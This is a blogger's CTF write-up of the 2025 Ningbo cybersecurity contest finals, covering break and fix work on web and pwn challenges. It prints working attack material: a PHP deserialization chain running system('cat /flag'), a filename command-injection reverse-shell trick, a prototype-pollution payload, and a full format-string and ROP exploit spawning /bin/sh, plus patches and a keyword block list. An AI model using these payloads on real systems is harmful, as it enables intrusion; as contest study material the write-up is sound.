文章

2025宁波市第八届网络安全大赛决赛Writeup

2025宁波市第八届网络安全大赛决赛Writeup

很幸运的拿到了榜一,队友太强了,AWDP玩的很少,不过这次break 和 fix都有成果。

Break 第一,Fix 第四

[web] easyUpload

break

F12检查图片,发现通过/show.php?file=img/1.png来读取

任意文件读取,flag被ban,读index.php源码

```php {title=”easyUpload源码”} <?php Class Dog { public $bone; public $meat; public $beef; public $candy; public function __invoke() { if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) { return $this->candy->flag; } }

1
2
3
4
public function __toString() {
    $function = $this->bone;
    return $function();
} }

CLass mouse { public $rice;

1
2
3
public function __get($key) {
    @eval($this->rice);
} }

class Cat { public $fish; public function __construct() { }

1
2
3
public function __destruct() {
    echo $this->fish;
} }

// 处理文件上传 $message = ‘’; $success = false; if ($_SERVER[‘REQUEST_METHOD’] === ‘POST’) { if (isset($_FILES[‘uploaded_file’])) { $uploadDir = DIR . ‘/uploads/’; $uploadedFile = $uploadDir . basename($_FILES[‘uploaded_file’][‘name’]);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) {
        $message = '上传成功!';
        $success = true;

        $fileContent = file_get_contents($uploadedFile);
        @unlink($uploadedFile);

        @unserialize($fileContent);
        $fileContent = "";

        // 设置 session,表示上传成功
        $_SESSION['upload_success'] = true;

        // 重定向,防止刷新页面时重复提交表单
        header("Location: " . $_SERVER['PHP_SELF']);
        echo $message;
        exit();
    }
} } ?> <!DOCTYPE html>
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
反序列化,经过一个md5绕过

```php
<?php
// 启动 session
session_start();

Class Dog {
    public $bone;
    public $meat;
    public $beef;
    public $candy;
    public function __invoke() {
        if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
            return $this->candy->flag;
        }
    }

    public function __toString() {
        $function = $this->bone;
        return $function();
    }
}

CLass mouse {
    public $rice;

    public function __get($key) {
        @eval($this->rice);
    }
}

class Cat {
    public $fish;
    public function __construct() {
    }

    public function __destruct() {
        echo $this->fish;
    }
}


$a = new Cat();
$a->fish = new Dog();
$a->fish->bone = new Dog();
$a->fish->bone->meat = 's878926199a';
$a->fish->bone->beef = 's155964671a';
$a->fish->bone->candy = new mouse();
$a->fish->bone->candy->rice = "system('cat /flag');";


echo serialize($a);

# O:3:"Cat":1:{s:4:"fish";O:3:"Dog":4:{s:4:"bone";O:3:"Dog":4:{s:4:"bone";N;s:4:"meat";s:11:"s878926199a";s:4:"beef";s:11:"s155964671a";s:5:"candy";O:5:"mouse":1:{s:4:"rice";s:20:"system('cat /flag');";}}s:4:"meat";N;s:4:"beef";N;s:5:"candy";N;}}

[web] img2base64

break

我觉得这题是最难的一题,现场也没几个人做出来

用到一些小trick

首先要绕一些字符,管道符截断,环境变量反弹shell,无密码读取文件

小明打ctf上头了,发什么消息都用编码发送,于是他搭建了一个web服务用来将图片进行base64编码,粗心的小明没有考虑安全问题,你能帮他看看吗?

平台给了源码

```python {title=”img2base64源码”} import os import re import subprocess from flask import Flask, request, render_template, jsonify

app = Flask(name)

UPLOAD_FOLDER = ‘uploads/’ if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER)

app.config[‘UPLOAD_FOLDER’] = UPLOAD_FOLDER def checkname(filename):

1
2
3
4
5
6
7
8
ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
noip = re.compile(r"\d+\.\d+")
if re.search(ILLEGAL_CHARACTERS, filename):
    return False
if ".." in filename :
    return False
if(noip.findall(filename)):
    return False

@app.route(‘/’) def upload_form(): return render_template(‘upload.html’)

@app.route(‘/upload’, methods=[‘POST’]) def upload_file(): if ‘file’ not in request.files: return jsonify({“error”: “No file part in the request”}), 400

1
2
3
4
5
6
7
8
9
10
11
12
13
14
file = request.files['file']
if file.filename == '':
    return jsonify({"error": "No file selected"}), 400
if(checkname(file.filename)==False):
    return jsonify({"error": "Not hacking!"}), 500
if file:
    file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
    file.save(file_path)
    result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
    encoded_string = result.stdout.strip()
    return jsonify({
        "filename": file.filename,
        "base64": encoded_string
    })

if name == ‘main’: app.run(host=’0.0.0.0’,port=5000)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
公告有提示反弹shell,那就先把反弹的命令写进文件

![](/assets/img/blog_images/NingBo_8th/img2base64_1.webp)

代码执行的是`cat {file_path} | base64`

先通过`|`截断命令,然后使用`$0`来执行 cat 输出的内容,也就是反弹shell的命令

`$0`代表本文件,`$1`代表第1个参数,以此类推。`$#`代表参数个数

![](/assets/img/blog_images/NingBo_8th/img2base64_2.webp)

监听端口

![](/assets/img/blog_images/NingBo_8th/img2base64_3.webp)

没权限读flag

`sudo -l`查看有权限的命令,然后在[GTFOBins](https://gtfobins.github.io/)查sudo语法

幸好本地部署了`GTFOBins`

![](/assets/img/blog_images/NingBo_8th/img2base64_4.webp)

不过这题队友出大力,推荐队友的一键部署环境脚本:[https://github.com/dr0n1/CTF_misc_auto_deploy](https://github.com/dr0n1/CTF_misc_auto_deploy)

![](/assets/img/blog_images/NingBo_8th/img2base64_5.webp)


# [web] genshop

## fix

太逆天了,我正在加各种过滤,结果rot-will把函数去掉就过了。

ssti的模板去掉直接过了

```python
# return render_template_string(f"<h3>{result}</h3>")
return f"<h3>{result}</h3>"

[web] Easy_shop

break

打开是一个商店购买页面

将购买数量改成负数,可以增加金钱

购买flag,得到/showflag路由

访问是一个文件读取功能,读取../app.js

```js {title=”Easy_shop源码”} const express = require(‘express’); const app = express(); const fs = require(‘fs’); const port = 3000; const bodyParser = require(‘body-parser’);

app.set(‘view engine’, ‘ejs’); app.use(express.static(‘public’)); app.use(bodyParser.urlencoded({ extended: true }));

let money = 1000; const initialMoney = 1000; let message = ‘’; const products = [ { name: ‘帽子’, price: 10 }, { name: ‘棒球’, price: 15 }, { name: ‘iphone’, price: 150 }, { name: ‘flag’, price: 1500 }, ];

app.get(‘/showflag’, (req, res) => { res.render(‘readfile’); });

app.post(‘/readfile’, (req, res) => { const fileName = req.body.fileName;

if (fileName.includes(“fl”)) { return res.status(200).send(‘你还真读flag啊’); } // 读取文件内容 fs.readFile(“/app/public/”+fileName, ‘utf8’, (err, data) => { if (err) { res.status(500).send(‘Error reading the file’); } else { res.send(data); } }); });

app.get(‘/’, (req, res) => { res.render(‘index’, { products, money, message }); });

app.get(‘/buy/:productIndex’, (req, res) => { const productIndex = req.params.productIndex; let quantity = req.query.quantity || 1; // 获取购买数量,默认为1

if (productIndex === ‘3’) { quantity = Math.abs(quantity); // 取绝对值 if (products[productIndex] && money >= products[productIndex].price * quantity) { money -= products[productIndex].price * quantity; message = 购买flag成功啦!给你/showflag这个路由,听说那里面有flag;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  res.render('index', { products, money, message, showAlert: true });
} else {
  message = 'flag很贵的';
  res.redirect('/');
}   }else{
if (products[productIndex] && money >= products[productIndex].price * quantity) {
  money -= products[productIndex].price * quantity;
  message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;

  // 使用 JavaScript 弹窗来显示购买成功消息
  res.render('index', { products, money, message, showAlert: true });
} else {
  message = '购买失败,钱不够啊老铁.';
  res.redirect('/');
}   } });

function copy(object1, object2) { if (typeof object1 !== ‘object’ || object1 === null || typeof object2 !== ‘object’ || object2 === null) { return; }

for (let key in object2) { if ( typeof object2[key] === ‘object’ && object2[key] !== null && typeof object1[key] === ‘object’ && object1[key] !== null ) { copy(object1[key], object2[key]); // ✅ 安全递归 } else { object1[key] = object2[key]; // ✅ 直接赋值 } } }

app.post(‘/getflag’, require(‘body-parser’).json(), function (req, res, next) { res.type(‘html’); const flagFilePath = ‘/flag’; let flag = ‘’; fs.readFile(flagFilePath, ‘utf8’, (err, data) => { if (err) { console.error(无法读取文件: ${flagFilePath}); } else { flag = data; // 将文件内容赋值给flag变量 var secert = {}; var sess = req.session; let user = {}; copy(user, req.body); if (secert.testattack === ‘admin’) { res.end(flag);

1
2
3
4
  } else {
    return res.send("no,no,no!");
  }
}   }); });

app.get(‘/reset’, (req, res) => { money = initialMoney; message = ‘’; res.redirect(‘/’); });

app.listen(port, () => { console.log(Server is running on http://localhost:${port}); });

1
2
3
4
5
6
7
8
9
10
11
12

逻辑很简单,copy函数有问题,一眼Node.js原型链污染

secert 是个空对象,但它和 user 在同一作用域下,需要控制 req.body 中的内容,污染secret

```js
{
  "__proto__": {
    "testattack": "admin"
  }
}

当时截的图:

这题刚开始没说读取../app.js,我在fuzz的时候居然读到了1.txt、2.txt、3.txt,分别是:

在一个宁静的午后,阳光透过树叶洒在地面上,斑驳陆离。小镇的街道上行人稀少,只有微风轻轻拂过树梢,带来一丝初秋的凉意。远处传来几声悠扬的钟声,仿佛提醒人们,该是泡一壶茶、慢慢享受时光的时候了

夜幕降临,城市的灯光次第亮起,仿佛点燃了沉睡的星辰。街角的咖啡店还亮着温暖的橘黄色灯光,一杯热饮静静地摆在窗边的桌上。外面车水马龙,人来人往,而屋内却是一方静谧的世界,时间在这里缓慢流淌,仿佛与喧嚣隔绝。

清晨的山间薄雾弥漫,露珠挂在草叶上,闪烁着晶莹的光。远处传来鸟鸣声,唤醒了沉睡的森林。一位背着行囊的旅人正沿着蜿蜒的小径缓缓前行,每一步都踩在湿润的土地上,带着对未知的好奇,走向尚未被书写的旅程。

出现7个一,所以我尝试读取f1111111ag,或者其他变体,都不行。或者按照早中晚的顺序,对文件名排序,312,那是不是响应码改成312响应码呢?可是没有这个响应码。直到给出hint,我才知道这个毫无用处,纯属迷惑人的。

fix

只用修读取flag的关键漏洞就行,但我顺手把增加金钱数、任意文件读取这俩洞也修了。你还真读app.js啊 : )

```js {title=”Easy_shop_fix.js”,hl_lines=[“8-10”,38,”61-63”]} app.post(‘/readfile’, (req, res) => { const fileName = req.body.fileName;

if (fileName.includes(“fl”)) { return res.status(200).send(‘你还真读flag啊’); } // 阻止读取源码 if (fileName.includes(“ap”)) { return res.status(200).send(‘你还真读app.js啊’); } // 读取文件内容 fs.readFile(“/app/public/”+fileName, ‘utf8’, (err, data) => { if (err) { res.status(500).send(‘Error reading the file’); } else { res.send(data); } }); });

app.get(‘/buy/:productIndex’, (req, res) => { const productIndex = req.params.productIndex; let quantity = req.query.quantity || 1; // 获取购买数量,默认为1

if (productIndex === ‘3’) { quantity = Math.abs(quantity); // 取绝对值 if (products[productIndex] && money >= products[productIndex].price * quantity) { money -= products[productIndex].price * quantity; message = 购买flag成功啦!给你/showflag这个路由,听说那里面有flag;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  res.render('index', { products, money, message, showAlert: true });
} else {
  message = 'flag很贵的';
  res.redirect('/');
}   }else{
// 模仿上面对数量做绝对值,防止购买负数增加金钱
quantity = Math.abs(quantity); // 取绝对值
if (products[productIndex] && money >= products[productIndex].price * quantity) {
  money -= products[productIndex].price * quantity;
  message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;

  // 使用 JavaScript 弹窗来显示购买成功消息
  res.render('index', { products, money, message, showAlert: true });
} else {
  message = '购买失败,钱不够啊老铁.';
  res.redirect('/');
}   } });

function copy(object1, object2) { if (typeof object1 !== ‘object’ || object1 === null || typeof object2 !== ‘object’ || object2 === null) { return; }

for (let key in object2) { // 过滤原型链污染常用字符串 if (key === ‘outputFunctionName’ || key === ‘proto’ || key === ‘constructor’ || key === ‘prototype’ || key === ‘return’ || key === ‘global’ || key === ‘process’ || key === ‘mainModule’ || key === ‘constructor’ || key === ‘child’ || key === ‘execSync’ || key === ‘escapeFunction’ || key === ‘client’ || key === ‘compileDebug’) { continue; }

1
2
3
4
5
6
7
8
9
10
if (
  typeof object2[key] === 'object' &&
  object2[key] !== null &&
  typeof object1[key] === 'object' &&
  object1[key] !== null
) {
  copy(object1[key], object2[key]); // ✅ 安全递归
} else {
  object1[key] = object2[key]; // ✅ 直接赋值
}   } } ```

[pwn] Cake_shop

break

存在格式化字符串

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
def nothing(data):
  p.sendlineafter(b'choice>>',b'4')
  p.sendlineafter(b'happens',data)

def buy(num,data):
  p.sendlineafter(b'choice>>',b'1')
  p.sendlineafter(b'cake $100',str(num).encode())
  p.sendlineafter(b'shop',data)

p=remote('10.1.108.15',9999)
payload=b"aaa%15$p %13$p %17$pbbb"
nothing(payload)
p.readuntil(b'aaa')
d0,d1,d2=p.readuntil(b'bbb',drop=1).split(b' ')
elf_addr=int(d1,16)
libc_addr=int(d2,16)
e=ELF("./pwn")
e.address=elf_addr-0x156a
libc=ELF('./libc.so.6')
libc.address=libc_addr-0x24083

index=3+6
a_addr=0x4010+e.address
payload="%"+str(0xe0ff)+"c%9$hn%"+str(0x10000-0xe0ff+0x5f5)+"c%10$hn"
payload=payload.ljust(24,'a').encode()
print(payload)
payload+=p64(a_addr)+p64(a_addr+2)
nothing(payload)
payload="%25600c%9$n".ljust(24,'a').encode()
payload+=p64(0x4014+e.address)
nothing(payload)

context.log_level='debug'
num=666
p.sendlineafter(b'choice>>',b'1')
p.sendlineafter(b'cake $100',str(num).encode())

canary=int(d0,16)
rdi=libc.address+0x23b6a
ret=rdi+1
bin_sh=next(libc.search('/bin/sh\x00'))
system=libc.symbols['system']
payload=b'a'*0x28+p64(canary)+p64(0xbfbfbfbf)
payload+=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
p.send(payload)


p.interactive()

fix

修改使用puts进行输出,成功修复

[pwn] stu_admin

fix

edit功能存在堆溢出,溢出了16字节

修复溢出

总结

整体难度比往年都要简单,就是搞不懂为什么check的轮次这么少,只有两轮,而且不返回check的结果

队友很厉害,不过这次也没有拖后腿,还是有Break 和 Fix成果的。

本文由作者按照 CC BY 4.0 进行授权